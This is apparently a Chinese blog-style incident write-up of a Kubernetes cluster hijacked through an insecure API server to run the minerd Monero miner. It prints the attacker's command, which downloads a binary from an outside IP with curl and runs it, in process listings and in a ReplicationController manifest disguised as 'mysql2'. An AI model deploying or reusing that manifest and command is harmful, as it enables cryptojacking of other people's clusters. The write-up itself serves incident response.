记一次kubernetes被minerd挖矿入侵

以下是Kubernetes环境遭minerd挖矿程序入侵排查回顾：

1. 某个月黑风高夜，临下班时，突然服务器A报警CPU占用过高，经查是minerd挖矿程序入侵。

 

2. 看看这个程序在干什么？

# ps aux | grep minerd

root 23073 0.0 0.0 11636 1456 ? Ss 20:18 0:00 sh -c curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd && setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
root 23170 415 0.0 680236 14608 ? Ssl 20:18 39:07 ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
root 23329 0.0 0.0 11636 1456 ? Ss 20:18 0:00 sh -c curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd && setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x
root 24161 395 0.0 680236 14360 ? Ssl 20:19 33:35 ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u didi123123321@gmail.com -p x

威力很大，有三台服务器均在几分钟内CPU被耗尽而无法连接，只能重启一下调几分钟，反反复复。

 

3. 探索解决方法

百度谷歌了很多，得出一个结论，最有可能导致入侵的就是通过redis漏洞建立ssh连接操纵挖矿程序，笔者按照网上复制最多的解决方法做了以下操作：

- 防火墙禁止挖矿程序访问的域名，iptables -I INPUT -s xmr.pool.minergate.com -j DROP  && iptables -I OUTPUT -d xmr.pool.minergate.com -j DROP

- 禁止root登录，sed -i 's/PermitRootLogin yes/PermitRootLogin no/'  /etc/ssh/sshd_config && service sshd restart，并查找ssh可疑文件和入侵痕迹

- 查找minerd程序运行路径并杀掉，这个地方我卡住了，因为怎么查都查不到minerd程序所在系统路径，我开始明白，这个程序已经不是当年的吴下阿蒙了，网上所有的方法已经对其不起作用，当我熬了一夜也没解决掉这个问题的时候，我发现了一个规律，这波攻击只涉及到了预发布环境的三台机器，生产环境并没有被入侵的迹象，于是我安心的睡了会儿觉。

 4. 一觉醒来，继续战斗

当我脑子清醒一些的时候，我冷静的分析了一下预发布环境上运行的服务，是由Kubernetes负责调度的docker环境，于是从排查docker容器入手，果然发现了有5个容器在运行挖矿程序，这让我惊喜，终于知道为什么在系统里找不到程序的路径了，原来都运行在容器里。

5. 它凭什么能随意以root身份在我们的机器上运行容器呢？

通过排除法，我猜测可能是Kubernetes Master被控制了，由它调度其它三台机器运行挖矿程序，通过种种的蛛丝马迹，终于验证了这个猜测TT

 

 # kubectl get rc mysql2 -o yaml  //查看该挖矿程序的rc yaml文件

apiVersion: v1
kind: ReplicationController
metadata:
  creationTimestamp: 2017-06-26T12:18:06Z
  generation: 1
  labels:
    app: mysql2
  name: mysql2
  namespace: default
  resourceVersion: "10312428"
  selfLink: /api/v1/namespaces/default/replicationcontrollers/mysql2
  uid: 823d6538-5a69-11e7-bf24-00163e0024e8
spec:
  replicas: 5
  selector:
    app: mysql2
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: mysql2
    spec:
      containers:
      - command:
        - sh
        - -c
        - curl -L http://208.115.205.133:8220/minerd -o minerd;chmod 777 minerd &&
          setsid ./minerd -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560
          -u didi123123321@gmail.com -p x
        image: centos
        imagePullPolicy: Always
        name: mysql2
        resources: {}
        terminationMessagePath: /dev/termination-log
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      securityContext: {}
      terminationGracePeriodSeconds: 30
      volumes:
      - emptyDir: {}
        name: shared-data
status:
  fullyLabeledReplicas: 5
  observedGeneration: 1
  replicas: 5

 

6. 后续工作

由于本人目前对kubernetes了解有限，所以将这个入侵的情况反映给老大，然后老大给定位到被入侵的原因是由于Kubernetes Apiserver不安全配置所致，Apiserver提供了资源操作的唯一入口，并提供认证、授权、访问控制、API注册和发现等机制，所以apiserver的安全至关重要。